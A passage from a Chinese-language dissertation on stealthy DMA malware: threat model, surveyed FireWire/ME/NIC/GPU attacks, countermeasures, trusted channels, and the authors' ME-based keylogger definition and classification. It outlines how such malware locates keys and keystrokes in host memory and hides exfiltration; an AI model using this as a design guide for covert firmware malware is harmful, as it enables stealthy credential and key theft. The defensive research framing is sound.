Intel 引入了一种称为 用于直接 I/O 的 Intel 虚拟化技术（VT-d [2]）的技术作为若干构建块之一，以便为 x86 系统提供硬件支持的虚拟化。VT-d 可以被看作一种 输入/输出内存管理单元（I/OMMU）以便有效地辅助虚拟化要求，诸如对运行于同一虚拟机监视器上的不同虚拟机进行可靠的隔离。VT-d 的应用主要与虚拟化相关联。有了 VT-d，虚拟机监视器或者操作系统等可以创建内存保护域。例如，互相隔离的物理内存子集可以被指认给虚拟机或者 I/O 设备驱动程序的内存。未被指认一块保护域的 I/O 设备没有对该域的物理内存的访问权限。这些访问限制通过地址翻译器而实现。系统软件对由 Intel VT-d 提供的所谓 DMA 重映射（DMAR）引擎进行配置。这样的引擎将例如由 I/O 设备触发的内存请求映射到物理内存。VT-d 可以阻止内存请求，如果该设备未被指认保护域。请注意，激活的 I/OMMU 可以为宿主 CPU 引入显著的性能开销 [13] [150] [88，p.129]，其结果是此技术的使用经常被避免。

为了允许系统软件配置 DMAR 引擎，BIOS 需要将对应信息以 高级配置与电源接口（ACPI [44]）表的形式加载至主内存。系统软件可以利用这些信息（例如 DMAR 引擎数量）来设置保护域。请注意，在主内存中存储 ACPI 表这一做法带来了严重的安全威胁。这些表可以通过直接内存访问来访问，并且可以如同 Wojtczuk 等人 [148] 和 Sang 等人 [111] 所描述的那样被修改。负责正确配置 DMAR 引擎的系统软件可能会失效，如果此漏洞被攻击者所利用。

2.7 信任和对手/攻击模型

此攻击者模型提供了关于一种隐秘 DMA 攻击场景的描述。攻击者能够 远程地 利用恶意负载来渗透存在于计算机平台中的专用硬件。这可以通过利用与操作系统或者固件相关联的零日漏洞 [例如参见 47] 来实施。我们假设攻击者能够在运行时对目标平台进行攻击。这不仅可以通过远程利用固件漏洞来实现，也可以通过分别由 Duflot [45] 和 Triulzi [135] 所描述的远程固件更新机制来实现。除了上述远程利用以外，攻击者还能够在本应作为拥有者的实体获取并且在目标平台上部署外设之前渗透该外设。

此专用硬件支持如 2.4 节所述的第一方 DMA 并且通过内存总线访问主内存，如图 2.5 所示。我们假设目标计算机平台拥有通常的最新防御机制，诸如反病毒软件和宿主防火墙。此平台的用户并未应用诸如硬件防火墙等额外的硬件以保护此计算机平台。我们假设只有隐秘攻击可以算作成功的攻击。因此，攻击者想要利用专用硬件的隐形潜力以隐藏攻击。对于主内存的攻击（例如对于机密性和完整性的侵犯）只来自于外设并且是通过 DMA。攻击者并未实施这样一种要求外设和宿主之间进行协作以提高隐秘攻击成功率的攻击。我们进一步假设攻击者能够保证对完整性的侵犯（内存写访问）不会导致攻击的暴露。额外的硬件将会显著降低隐秘攻击的成功率。例如，最有可能的情况是攻击者致力于偷取数据以引导行业间谍活动或者获取在线银行凭证等。为了实现这一点，攻击者必须通过 DMA 从主内存中读取数据（对机密性的侵犯）或者向主内存中写入数据（对完整性的侵犯）。

我们将某个计算机平台视为可信的，如果它满足所应用的安全策略。这意味着在我们的案例中，没有基于 DMA 的恶意软件通过 DMA 读取或者写入平台的主内存来攻击宿主平台。我们依赖于一种最小化的 可信计算基（TCB [37，p.66] [99，p.8]），它包括宿主 CPU 和内存芯片硬件，以及它们之间的通讯路径（前端总线、内存控制器集线器、内存总线）。执行于宿主 CPU 上的软件（系统软件和应用软件）在平台被攻击之前处于可信状态。这意味着软件被正确地加载和启动，并且行为符合预期。我们并不依赖诸如 I/OMMU 等预防性措施，由于 2.6 节所述的安全性问题。

第 3 章相关工作

黑客的思维模式并不能真正看到另一面，即对受害者发生了什么。——Kevin David Mitnick，安全专家

由于我们在方法论中决定同时思考两方面，即攻击以及对攻击的检测和化解，我们必须详细论述两个方面的相关工作。更进一步地，我们想要使得我们的目标平台能够将其关于基于 DMA 恶意软件的状态报告至外部平台。为了实现这一点，我们要求一种能够揭示由网卡发动的 中间人（MitM）攻击的通讯信道。这是必要的，由于我们同样将网卡视为能够隐藏攻击代码的专用硬件。

3.1 DMA 攻击

直接内存访问可以成为一种足够有效的方式以引导对于宿主系统的隐秘攻击。我们的工作分析了那些能够在运行时实现恶意软件功能并且应用 rootkit/隐形能力的攻击。在最坏的情况下，基于 DMA 的恶意软件还能够在平台重启以后，以及在待机和关机模式下存活。在下文中，我们将会区分这两类外设之间的区别，即可以从机箱外部连接到宿主平台的外设以及直接连接到芯片组的外设。

3.1.1 可以从外部连接的设备

自 2004 年始，利用诸如 USB 设备 [90]、特殊的 PCMCIA 卡 [61，11] 以及火线设备 [43，42，17] 等额外硬件进行的若干种 DMA 攻击就已经出现。由 Maynor [90，p.55ff] 所描述的此类攻击使用了一部摩托罗拉移动电话，以通过 USB 利用攻击代码渗透目标设备。此攻击通过在目标平台的屏幕上显示一个窗口来暴露自己。因此，此攻击与其说是完全可运作的恶意软件，不如说是一个概念验证。

Dornseit [43] 和 Dornseif 等人 [42] 展示了如何利用一部通过火线连接到目标的苹果 iPod 以引导一次 DMA 攻击。作者提到，他们可以利用 DMA 读取来复制屏幕内容、字符串和关键素材。更进一步地，通过 DMA 写入，作者可以更改屏幕内容、引导一次权限提升攻击，并且向宿主的运行时内存注入代码。Boileau [17] 同样覆盖了一种基于火线的 DMA 攻击。作者能够攻击一台基于 Windows XP 的笔记本计算机。在 2007 年，Piegdon 和 Pimenidis [101] 发表了另一篇关于与火线相关的 DMA 攻击的论文。他们描述了如何偷取 SSH 私钥以及注入任意代码。此注入的代码实现了同目标设备之间具有管理员权限的互动访问。作者必须搜索被宿主 CPU 用于实现虚拟地址空间的数据结构以查找运行于宿主 CPU 上的进程。Blass 和 Robertson [15] 描述了 Tresor-Hunt，这是另一种基于火线的攻击以欺骗硬盘加密机制。更准确地说，绑定到宿主 CPU 的加密机制受到了攻击。CPU 绑定意味着密钥数据从未被释放到主内存。该数据一直保存在宿主 CPU 的寄存器中。Tresor-Hunt 的基本理念是向内核空间注入代码（某个中断处理程序被挂钩）。该攻击代码将密钥数据从处理器寄存器转储到内存，在这里，它可以通过 DMA 捕获。Blass 和 Robertson [15] 利用火线来转储宿主的物理内存。然后，他们扫描整段转储的内存以查找中断描述符表，进而挂钩某个中断处理程序，它最终将会释放加密密钥。

David Hulton [61] 展示了如何利用通过 cardbus 连接到目标平台的 现场可编程逻辑门阵列（FPGA）外设来捕获存在于主内存中的口令和私钥。更进一步地，Hulton 的 FPGA 设备能够解锁屏幕保护程序并且执行任意代码。为了在宿主内存中查找目标内存地址，作者对所有物理内存页进行了签名扫描。

由 Breuk 和 Spruyt [18，19] 记载的项目致力于将 DMA 攻击整合到漏洞利用框架。作者讨论了 PCI、火线、USB、SATA、DisplayPort、雷电和 PC 卡（即 PCMCIA、cardbus、快速卡）。他们的概念验证基于火线。为了在宿主的运行时内存中查找目标地址，作者实施了针对全部内存页的签名扫描。Inception 工具能够通过“火线、雷电、快速卡、PC 卡，以及任何其他 PCI/PCIe 接口”攻击目标平台 [87]。此工具能够做的事情包括转储主内存、解锁系统，并且引导针对基于 Windows、Mac OS 以及 Linux 的目标的权限提升攻击。描述了利用雷电进行 DMA 攻击的策略的后续研究由 Sevinsky [114] 所贡献。作者并未描述通过雷电进行的具体的 DMA 攻击。

3.1.2 牢固建立在平台机箱内部的设备

在本工作中，我们明确地专注于隐秘性。攻击者必须不依赖对目标设备的物理访问以增加隐秘渗透的成功率。因此，3.1.1 节所呈现的攻击设备并不被考虑在我们的信任和对手模型中，参见第 2.7 节。我们专注于源自平台外设的攻击。本节考虑了源自诸如特殊的管理控制器、网卡和显卡等平台外设的 DMA 攻击。

Tereshkin 和 Wojtczuk [131] 说明了 Intel ME 的 DMA 引擎可以被用于写入宿主内存。作者描述了一种允许向 DMA 环境注入代码的漏洞。Tereshkin 和 Wojtczuk 的代码并未实现任何恶意软件行为。它通过向一段已知的硬编码的宿主内存地址进行写入从而暴露自身。因此，这种方法实现了一种概念验证而非真实的恶意软件功能。我们利用 Intel ME 用于我们自己的攻击研究，参见第 4 章。我们的基于 DMA 的攻击以击键码记录器的形式实现了完全可运作的恶意软件，它执行于管理引擎的环境中。

Duflot 等人 [47] 和 Delugré [35，36] 所描述的基于网卡的攻击专注于隐秘攻击、恶意软件功能和 rootkit 能力。由 Duflot 等人 [47] 所呈现的攻击在运行时利用了网卡固件的漏洞。被攻击的网卡被用于通过添加后门的方式来攻击宿主系统。作者描述了宿主可以如何访问网卡的内部内存。这提供了一种可能性以便利用执行于宿主 CPU 的代码来检测攻击代码。据我们所知，没有任何反病毒软件之类能够利用这一点。应该指出，宿主能够访问网卡的内部内存并不是一种常见特性。例如，我们所用于自己的攻击研究（参见第 4 章）的 Intel ME 的运行时内存是宿主不可访问的。由 Delugré [35，36] 发表的工作与 Duflot 等人 [47] 发表的工作非常相似，两起攻击都使用相同的网卡型号。由 Delugré [35，36] 实现的恶意软件致力于实现 rootkit 能力。

Arrigo Triulzi [134，135] 呈现了一种隐秘的安全 shell。它可以通过 DMA 提供内存检测功能。网卡和显卡的组合被用于隐藏此 shell。此 shell 通过远程重刷固件而被安装。网卡和显卡通过 PCI 到 PCI 传输进行通讯。作者提议 PCI 到 PCI 传输计数作为反制措施，但是并未描述如何实现。与显卡相关的其他工作由 Vasiliadis [140] 发表。作者描述了一种方法将性能开销从宿主 CPU 转移到显卡的 GPU 上。部分代码仍然需要运行在宿主 CPU 上。CPU 和 GPU 通过共享内存进行通讯。此性能开销将会在诸如解包或者运行时多态等技术被应用时出现。因此，Vasiliadis [140] 同时描述了 GPU 辅助解包和运行时多态，但是并未描述任何利用 DMA 攻击宿主系统的特定恶意软件。Ladakis 等人 [80] 实现了一种运行于 GPU 上的击键码记录器。此击键码记录器类似于我们所发布的击键码记录器 [123] [脚注 5]。他们重用了相同的签名扫描以查找键盘缓冲区。更进一步地，此方法要求在宿主 CPU 上以内核模式执行签名扫描。这一致命弱点可以被用于检测此攻击。作者事实上需要一个基于内核的零日漏洞来增加隐秘攻击的成功率。根据作者所述，特殊的调试工具可以被用于分析执行于 GPU 上的进程。这些工具可以被用于开发一种针对基于 GPU 的恶意软件的反制措施。在显卡环境中被捕获的击键码随后发生了什么并不清楚。Ladakis 等人 [80] 并未考虑潜出。

脚注 5：我们所发表的击键码记录器 [123] 是我们在第 4 章所研究的攻击的基础。

最近，Domburg [41] 展示了如何在硬盘控制器上安装攻击代码。攻击代码存储于硬盘控制器的内存存储器上，并且被加载到硬盘控制器的动态内存中，以便在硬盘控制器的处理器中执行。作者并未描述如何利用硬盘控制器的 DMA 引擎攻击宿主运行时内存。由 Zaddach 等人 [152] 呈现的类似工作同样基于硬盘控制器。作者展示了一种隐秘的硬盘后门。然而，他们所攻击的是硬盘上存储的数据，即他们并未展示如何利用该控制器的 DMA 引擎攻击宿主系统的主内存。因此，他们的攻击不属于本论文的范畴。我们专注于针对平台的主内存的隐秘攻击。

3.2 反制措施

不同的方法被提议出来，它们可以看作针对 DMA 攻击的反制措施。例如，测定固件 [脚注 6] 是一种用于检查固件二进制文件的完整性的方法。它假设固件并不会引导 DMA 攻击，如果其二进制文件未被修改。签名固件的方法同样致力于使用户相信该固件不会引导 DMA 攻击。其理念是经过厂商数字签名的固件是可信的。除了这两种方式以外，后续各节还描述了相关工作，诸如基于延时的证言、运行时监视、总线嗅探、敏感数据保护以及 I/OMMU 等。

脚注 6：在此案例中，测定是指导出散列值。

3.2.1 测定固件

可信计算小组（TCG）[136] 提议在加载时证明外设固件。更准确地说，此方法基于一块额外的芯片 [脚注 7]，它称为 可信平台模块（TPM [99]）。TPM 类似于一块牢固地固定在计算机平台的芯片组的智能卡芯片。然而，TPM 可以在二进制代码被执行之前以该代码的散列值的形式存储完整性测定信息。这意味着测定是在加载时进行的。此类测定可以被用于检查平台是否可信。当前版本的 Intel 管理引擎执行环境也采用一种所谓的验证启动机制以允许使用散列值对外设固件进行证明 [79，第 15 章]。然而，在加载阶段引导的测定并不能排除运行时攻击。在运行时重复进行测定将会造成显著的性能下降。它同样不能阻止 瞬时攻击，在此，攻击者利用两次测定之间的时间框架。更进一步地，并不能保证宿主 CPU 能够访问用于存储固件代码的所有外设 ROM 组件。

脚注 7：TCG 规范并不禁止以固件形式实现 TPM。Intel [参见 79，p.108] 拥有一种基于固件的 TPM 解决方案。

3.2.2 签名固件

经过签名的固件镜像同样不能阻止运行时攻击。固件更新只能被刷入对应的 ROM 芯片，如果该固件镜像拥有有效的数字签名。例如，只有经过主板厂商数字签名的 BIOS 固件镜像可以被刷入对应的 ROM 芯片 [79，第 14 章]。这并不能排除运行时攻击。此类攻击已经被 Wojtczuk 和 Tereshkin [149] 以及 Butterworth 等人 [26] 所展示。

3.2.3 软件/基于延时的证言

其他证言方式由诸如 Li 等人 [83，82] 所呈现。这些方式基于 基于延时的证言，即外设不仅需要计算出一段正确的校验和，它还必须在限定的时间内计算出该值。被攻击的外设将会被认为已经暴露，如果校验和错误或者计算该校验和耗时过长。基于延时的证言要求修改外设固件，并且宿主需要知道该外设的准确硬件配置以便能够对其进行验证。Li 等人 [83] 同时说明他们的方法不能正确地工作，如果外设会造成大量总线流量。他们在其评估中仅仅考虑了一部外设。更进一步地，Nguyen [96] 揭示了 Li 等人 [83] 的证言方法中存在的严重问题。同样不清楚的是，基于延时的证言能够在多大程度上阻止瞬时攻击。

3.2.4 监视方法

另一种有趣的方法由 Duflot 等人 [46] 所呈现。网卡特定的调试特性被用于监视固件执行。这些特性对于其他外设并不可用。另一个缺陷是对宿主造成的显著性能问题（某一个 CPU 核心 100% 使用）。我们的目标同样是开发一种运行时监视器。与 Duflot 等人 [46] 所描述的监视器相反，我们的监视器要求 (i) 独立于外设的内部工作方式，以及 (ii) 造成的性能开销显著减少，参见第 5 章。

另一种运行时监视方式由 Zhang 等人 [153] 所呈现。此方式类似于 SMM。作者提议周期性地检查外设固件和配置。然而，作者并未描述在 I/OMMU 被正确配置之前，存储着监视器的 SMRAM 是如何被保护起来使其不受 DMA 攻击的。作者同样并未解释检查间隔。因此，必须假设瞬时攻击并未被考虑。同样不清楚的是，检查全部外设到底需要多少时间。实现描述和评估都没有。因此，该提议的方法在实践中切实可行这一点并未被证明。

3.2.5 总线嗅探方法

Moon [92] 和 Lee [81] 遵循另一种基于硬件的方法。作者提议了这样一种系统，它能够嗅探内存总线以检查对于内核完整性的侵犯。此方法能够阻止瞬时攻击。然而，作者并不致力于检测 DMA 攻击。更进一步地，他们的嗅探监视器组件基于特定硬件（Leon3 处理器）。它和被监视的宿主系统（同样基于 Leon3 处理器）拥有相同的计算能力。探究这样一种内存嗅探方法是否能够被利用以检测基于 DMA 的恶意软件将会十分有趣。

由 Eckert 等人 [48] 呈现的一种相关方法考虑了一种 DMA 攻击。提议的系统可以被用于检测经过 DMA 传输至宿主内存的恶意软件。因此，作者只考虑了从外设到宿主内存的写入操作。此系统无法阻止基于 DMA 读取的攻击，在此，攻击者捕获了存在于主内存中的诸如密码学密钥或者在线银行凭证等信息。在其描述的攻击场景中，作者假设攻击代码执行于宿主处理器上。因此，他们同样通过总线嗅探来扫描通过 DMA 写入宿主内存的数据以查找恶意软件签名。作者承认其基于签名的检测方式存在缺陷。此提议的系统要求基于 FPGA 的硬件，并且同样不清楚的是，他们的实现专注于第一方还是第三方 DMA。

3.2.6 敏感数据保护

已有若干种方法被呈现，用以保护诸如密码学密钥等敏感数据等，以防止内存攻击。有人提议仅在处理器寄存器或者缓存中存储敏感数据，而非在主内存中 [93，94，119，141]。然而，Blass 和 Robertson [15] 展示了如何利用基于 DMA 的攻击以强制宿主将敏感数据泄漏到主内存中，参见 3.1.1 节。

3.2.7 输入/输出内存管理单元

如同 Duflot 等人 [47] 以及 Müller 等人 [95] 所提议的那样，存储于主内存中的敏感数据也可以通过 I/OMMU 进行保护。如同我们已经在我们的信任和对手模型中所考虑到的那样，我们并不会依赖 I/OMMU（参见 2.7 节）。这是由于 I/OMMU 必须被配置无误 [83，p.2]，以及 I/OMMU 可以被成功地攻击 [111，148，147，146]。更进一步地，I/OMMU 将会由于内存访问策略冲突而不适用 [123]，并且它们并不被每一种芯片组和操作系统所支持。Sang 等人 [112] 同样确认了 I/OMMU 具有缺陷。在将 I/OMMU 看作一种反制措施时另一个应当被考虑的问题在于，根据 Ben-Yehuda 等人 [13] 和 Yassour 等人 [150] 的研究结果，激活的 I/OMMU 可能造成显著的性能开销。

3.3 在考虑平台状态报告的前提下加固通讯信道

本章所呈现的相关工作均未考虑作为托管恶意软件的网卡可以引导 中间人（MitM）攻击的情况。我们将 可信信道 这一概念用于此目的 [52，10]。可信信道拥有安全信道的全部属性。此外，可信信道的概念允许将通讯端点的配置数据绑定到安全信道，以保证该端点的合法性（同一性和完整性）。然而，还存在与可信信道相关联的其他方法，它们将会在下文讨论。为了防止 中继攻击（攻击者中继了某个第三方平台的可信配置数据），要求在安全信道和将要被报告至该端的配置数据之间实现一种安全绑定。并非所有下文所呈现的相关工作都实现了这样一种安全绑定。

3.3.1 基于可信平台模块的方法

存在着众多由 可信计算小组（TCG）[脚注 8] 所提议的基于 可信计算（TC [99]）的方法。众多方法加强了现存的安全信道协议，诸如 传输层安全（TLS [38]）或者 互联网安全协议（IPSec [76]）将端点配置数据绑定到安全信道 [120]。我们同样倾向于从已有的安全信道协议中得到好处。

脚注 8：参见 http://www.trustedcomputinggroup.org/ [访问于 2014 年二月 25 日]

Smith [120] 描述了如何将平台认证和用户认证结合起来以认证一个端点。为了做到这一点，他们引入了两步握手的 TLS 扩展。然而，Smith 的描述不够详细。中继攻击和端点配置更改不在此工作的范围内。Sadeghi 等人 [110] 也引入了一种可信信道的概念。他们的概念基于密钥传输。我们倾向于使用分担式密钥协商协议。我们将密钥素材视为对相关端点的贡献。更进一步地，由 Sadeghi 等人 [110] 描述的参考实现使用 TLS 以隧穿他们的信道。配置数据并未同基于 TLS 的安全信道绑定。

TCG 开发了 可信网络连接（TNC）架构 [138]。TNC 主要应对网络访问。网络认证和策略强制实施是 TNC 关注的焦点。这并非我们关注的焦点。基于完整性的配置信息被用于判定某个平台是否被允许接入网络。TNC 致力于这样一种规范，它基于证言目的对 TLS 进行扩展（用于证明的 TLS 扩展，或者简称为 TLS 证明 [130，p.51]）。此文档并不使用 TCG 网站 [脚注 9] 公开。然而，TCG [137] 发布了一篇称为“绑定到 TLS”的文档，此文档考虑了当客户端请求网络访问时的中间人攻击。基于 TNC 的另一种方法由 Rehbock [103] 所讨论。作者将 TNC 架构扩展到基于网页的环境。

脚注 9：参见脚注 8。

Marchesini 等人 [89] 的目的是对网页应用程序的可信度进行证言。他们基于所提议的 Bear 平台 引入了一种架构。此平台实现了这样一种信任模型，它致力于将长寿命密码学密钥对（由认证权威机构所认证）映射到短寿命平台配置部分。作者承认他们的平台存在诸如 检查与使用之时差（TOCTOU，同时参见 3.2 节）等问题。

由 Goldman 等人 [53] 描述的方法同样致力于将配置数据连接到安全信道的端点。作者利用 TLS 的前身，即 安全套接字层（SSL [50]）协议进行工作。其基本理念是在由可执行代码得出的完整性测定列表之上附加 SSL 证书的测定结果。作者并未说明他们如何准确地防止中间人攻击。SSL 证书可能来自其他平台，或者在我们的攻击场景中，来自于通过 DMA 进行证书偷运的网卡。更进一步地，此网卡可以在运行时攻击端点以攻击数据和密码学密钥。McCune 等人 [91] 利用一种同 Goldman 等人 [53] 类似的协议。作者利用诸如 Intel 可信执行技术（TXT [参见 54]）等现代芯片组特性以显著减小 TCB。在他们的对手模型中，作者确实明确地允许 DMA 攻击。其原因是他们提议了一种能够得益于隔离执行环境的安全架构。当代码在该环境中执行时，中断和 DMA 被关闭。更进一步地，每当使用此隔离环境时，宿主处理器的状态就被要求保存和恢复。其结果是性能的损失。因此，此方法仅适用于快速安全操作。保护通过 USB 键盘输入的用户输入是完全不可能的，由于需要 DMA 将击键码从键盘复制到主内存。

Dietrich [39，40] 也提议了一种基于 TPM 以及 TLS 的可信信道概念。他致力于在同远程平台的会话过程中报告平台配置更改。他的方法要求对 TPM 的修改。这样的硬件修改在实践中是否能够强制实施尚不清楚。Cheng 等人 [29] 同样致力于通过将基于 TCG 的平台配置报告方法同 TLS 信道相结合以防止中间人攻击。然而，作者并未呈现一种实现。他们同样未能清楚地描述他们将哪种 TLS 握手信息用于所提议的信道的协商。由 Yu 等人 [151] 所描述的方法同样将基于 TPM 的平台配置数据同 TLS 协议相结合。作者强烈地专注于 TLS 重新协商攻击 [参见 102]。他们宣称此种攻击即使在使用安全信道的情况下也是可能的。我们怀疑这一点，由于 Yu 等人 [151，p.3] 所描述的攻击协议流展示了这一点，即中间人需要将合法的平台配置数据上传至服务器。因此，服务器能够检测到负责引导重新协商攻击的代码。作者并未解释中间人想要伪造可信的平台配置数据是否可能。

一种与隐私相关的十分有趣的可信信道方法由 Cesena 等人 [27] 呈现。所提议的信道结合了 TLS 和 直接匿名证言（DAA [20]）协议，后者被 TCG 所采用。在此上下文环境中，DAA 允许平台证明它包含一块 TPM，而无需暴露它是何种特定的 TPM。这有助于保护隐私，如果要求避免将不同的会话同某一特定平台的 TPM 连接起来。除了 DAA 以外，所提议的信道同我们的可信信道非常相似。作者以类似于我们的解决方案的方式利用 TLS 握手信息。

Sadeghi 和 Schulz [109] 改良了安全信道协议 IPSec 以实现这样一种可信信道。该方法利用 互联网密钥交换协议版本 2（IKEv2 [75]）作为基础以便将平台配置信息绑定到此信道。配置数据也可以在 IPSec 会话期间被传输。作者还考虑了他们的方法可以如何被整合到 TNC 架构中。尽管所呈现的方法是向后兼容的，只需对 IKEv2 进行最小化的修改即可使其完全得益于可信信道。

平台配置信息也可以被包含在 Diffie-Hellman（DH）密钥交换过程中，如 Stumpf [128] 所述。作者依赖于这样一条命令（TPM_Quote），它负责获取一份关于存储于 TPM 之中的完整性测定数据的签名报告。DH 方法并不能化解由加载时测定造成的缺陷。

Lyle 和 Martin [86] 引入了一种考虑了网页服务技术的信道。他们的特殊环境并不允许应用一种基于 TLS 的信道。他们将 TCG 平台配置报告方法同所谓的消息级加密 [参见 86，p.4] 相结合。Chang 等人 [28] 将 TCG 方法同 安全实时传输协议（SRTP [12]）/ Z 实时传输协议（ZRTP [154]）相结合。SRTP/ZRTP 为 网际协议通话技术（VoIP [34]）传输提供了安全信道。作者致力于提供一种结合了 TCG 方法和 SRTP/ZRTP 的可信信道。

然而，所有这些提议的基于 TPM 的方法均未充分考虑运行时攻击（特别是基于 DMA 的运行时攻击）。它们同样受制于 3.2 节开头描述的缺陷。请注意，我们关于可信信道的工作最初同样基于 TPM。在本工作中，我们采用了另一种攻击场景的可信信道概念，在此，攻击来自于外设。我们的信任模型（参见 2.7 节）考虑了另一套不同的 TCB。我们并不依赖于加载时完整性测定。TPM 并非必需。我们的测定基于一种运行时监视器，它能够根据内存总线传输推导出状态信息，参见第 5 章。我们在本工作中所使用的安全通讯信道考虑到了这些测定。此信道基于我们在前期工作 [52，10] 中所引入的可信信道概念。

3.3.2 基于协处理器和智能卡的方法

由 Jiang 等人 [74] 和 Chess 等人 [30] 描述的方法基于一块安全协处理器。协处理器被用于通过实现一种称为可信协服务器的概念来建立信任。协服务器执行经过评估和认证的程序以便将主服务器认证为能够监视它们的行为的。协服务器在对抗物理操作方面更加安全。然而，它们相对于现货供应的硬件更加昂贵。这样的协服务器通常被实现为具有专用的处理器、内存、DMA 引擎以及以太网连接器 [72，73] 的 PCI(e) 板卡的形式。因此，它们是基于 DMA 的恶意软件的理想宿主。

由 Akram 等人 [5] 提议的可信信道协议本意是用于一种特殊的智能卡场景。作者专注于一种针对智能卡用户的隐私保护协议。因此，他们的方法仅适用于涉及智能卡的场景，在此，用户的身份必须不被暴露。在 Akram 等人 [4] 的一篇早期发表中，作者呈现了另一种信道，其本意是用于运行时认证和智能卡应用程序的验证。此信道是作者所实现的框架的一部分。此信道协议经过了作者的验证。由 Akram 等人 [4] 所描述的信道同样专注于智能卡场景。另一种基于智能卡的方法由 Wang 等人 [143] 呈现。作者提议并且形式化验证了一种用于 数字版权管理（DRM [3]）场景的可信认证协议。此协议也考虑了平台配置值。作者并未评估他们所提议的协议的实现。

第 4 章关于一种基于直接内存访问的隐秘恶意软件的研究

我们信仰上帝，我们监控所有其他人。——美国空军情报、监控和侦察机构之美国空军技术应用中心的座右铭

恶意软件开发者和反恶意软件社区之间的军备竞赛达到了一个新的水平。针对内核级别的 [60]、基于虚拟机监视器的 [77]，以及基于系统管理模式的恶意软件 [49] 的反制措施已经被提议出来 [51，107，25]。其结果是，研究者探索了新的环境以用于隐藏恶意软件。恶意软件可以被放置在诸如显卡和网卡等专用硬件上以攻击宿主平台 [参见 134，135，47]。除了其他组件以外，这些设备带来了一块专用的处理器和专用的运行时内存。这些设备可以独立于宿主系统而运作。反病毒软件不能检测存储于独立内存中并且执行于另一块处理器上的恶意软件。攻击者可以利用这些设备，或者更准确地说，利用其直接内存访问机制，通过直接攻击宿主运行时内存而绕过构建于操作系统中的保护机制。我们将这种执行有目标的基于 DMA 的隐秘攻击以定位并且读取或者修改目标数据的代码称为 DMA 恶意软件。这样的数据可能是用于加密硬盘的密码学密钥、在线银行帐户的凭证、即时通讯聊天会话，以及存在于文件缓存中的已经打开的文档等。

在本章中，我们将 DMA 攻击特征化，并且推导出术语 DMA 恶意软件。我们这样探索该术语，即通过检测 DMA 恶意软件是否能够在显著提升针对计算机平台发动隐秘攻击的成功率的同时保持高效性和有效性。为了进行此项评估，我们构建了自己的 DMA 恶意软件 DAGGER——一种基于 DMA 的击键码记录器（DmA-based keystroke loGGER），它将其所捕获的数据潜出至某个外部实体。我们对此 DMA 恶意软件的高效性、有效性，以及特别是隐秘性感兴趣。我们之所以选择实现一种击键码记录器，是为了显示“短寿命”数据也能够被 DMA 恶意软件所捕获。

我们的实现基于 Intel 管理引擎，它是流行的 x86 平台的一部分。Intel ME 被实现于商用以及消费级平台（参见 Intel 博锐平台 [66]）以支持不同的应用，诸如 Intel 主动管理技术（iAMT [79]）或者 身份保护技术（IPT [67]）。我们的 DMA 恶意软件 DAGGER 并非执行于宿主处理器上。它执行于由 Intel ME 提供的处理器上，并不需要额外的硬件。DAGGER 实现了对于用户输入的隔离的运行时攻击。此外，我们的 DMA 恶意软件能够偷取密码学密钥，在攻击中针对操作系统内核结构，以及从文件缓存中复制文件等。尽管 DMA 恶意软件不能被反病毒软件检测到，攻击者仍然面临某些挑战。DMA 恶意软件必须是有效的，即它应该能够成功攻击不同系统。DMA 恶意软件还必须是高效的，即运行得足够快以查找并且处理数据，即使是在处理虚拟内存地址以及随机放置的数据时。这样的恶意软件已经超出了利用 DMA 硬件的能力。

本章的主要贡献包括：

DMA 恶意软件定义：有不同类型的代码用到 DMA。为了清楚地区分某段代码应该被看作无害、攻击，还是 DMA 恶意软件，我们引入了一种适当的定义。
DMA 恶意软件核心功能：我们列举了一系列要求，它们是 DMA 恶意软件为了实施成功的攻击所必须满足的。
DMA 恶意软件原型实现的评估：为了显示 DMA 恶意软件在增加隐秘攻击的成功率的同时保持了有效性和高效性，我们实现了 DAGGER。DAGGER 执行于隔离的 Intel ME 之上。DAGGER 能够隐秘地运作并且攻击多种操作系统。我们的实现是快速并且高效的，因此它可以在平台启动过程的早期捕获击键码。这使得 DAGGER 能够在 Linux 下捕获例如硬盘加密口令等。
DMA 副作用检测方法：我们呈现了一种检测方法，它可以揭示执行于隔离硬件环境中的 DMA 恶意软件。我们的工作展示了 DMA 恶意软件能够造成非预期的副作用，而我们可以利用那些被广泛使用并且跨平台可用的 CPU 特性来检测它们。

4.1 DMA 恶意软件定义

为了定义 DMA 恶意软件这一术语，我们首先对不同类型的基于 DMA 的代码进行了特征化，这有助于清楚地区分简单的 DMA 应用、DMA 攻击以及 DMA 恶意软件，在此，后者明确地专注于隐秘性。注意，DMA 恶意软件超出了控制 DMA 引擎的能力以外。实现了恶意功能的基于 DMA 的代码被看作严重的威胁。这样的代码可以在渗透和运行时隐秘运作。例如对于长期攻击而言，如果代码能够在平台重启以及关机和待机模式下存活，这也是一种优势。因此，我们可以在评估利用 DMA 的代码时优先考虑下列判据。即该基于 DMA 的代码：

(C1) 实施了恶意软件功能
(C2) 不需要物理访问以增加隐秘渗透的成功率
(C3) 在运行时应用了 rootkit/隐形能力
(C4) 能够在重启/待机/关机模式下存活

我们将一种二进制体系用于我们的优先级：

2³	2²	2¹	2⁰
C1	C2	C3	C4

此体系区分了 16 种基于 DMA 的代码。我们可以为每一种得出一个独特的数值。例如，某段基于 DMA 的代码并不实施恶意行为（C1=0），不会在宿主上留下痕迹（C3=1），不依赖物理访问（C2=1），并且不能在重启之后存活（C4=0），则它被映射到二进制结构 0110。此结构对应于十进制的第 6 类。所得出的数字越大，则该基于 DMA 的恶意代码越危险。

我们关于 DMA 恶意软件的定义如下：

定义：DMA 恶意软件是执行于专用硬件之上，通过一种称为直接内存访问的机制攻击计算机系统，并且至少满足判据 C1、C2 和 C3 的恶意软件。

当其被应用于第 2 章所介绍的目标平台时，此定义意味着：该 DMA 恶意软件基于第一方 DMA，并且其 DMA 引擎可以被攻击代码配置为不涉及宿主 CPU。攻击代码执行于具有其自身的处理器和运行时内存的专用硬件之上，例如网卡。控制了网卡可以增加攻击者在潜出时隐藏数据的成功率。表 4.1 将我们的二进制体系应用到第 3 章“相关工作”所呈现的 DMA 攻击上。此表还描述了哪些相关工作根据我们的定义属于 DMA 恶意软件。在本章，我们同样致力于开发一种 DMA 恶意软件的概念验证，它至少满足判据 C1、C2 和 C3。

表 4.1 DMA 攻击范例对于判据 C1-C4 的满足情况

攻击呈现于	`C1 C2 C3 C4`	DMA 恶意软件
[90]（USB）	`- - - √`	-
[43，42，17，101，19，18，15，87]（火线）	`√ - √ √`	-
[11，61，87]（PC 卡）	`√ - √ √`	-
[131]（Intel ME）	`- √ - √`	-
[35，36，47]（网卡）	`√ √ √ √`	√
[134，135]（显卡和网卡）	`√ √ √ √`	√
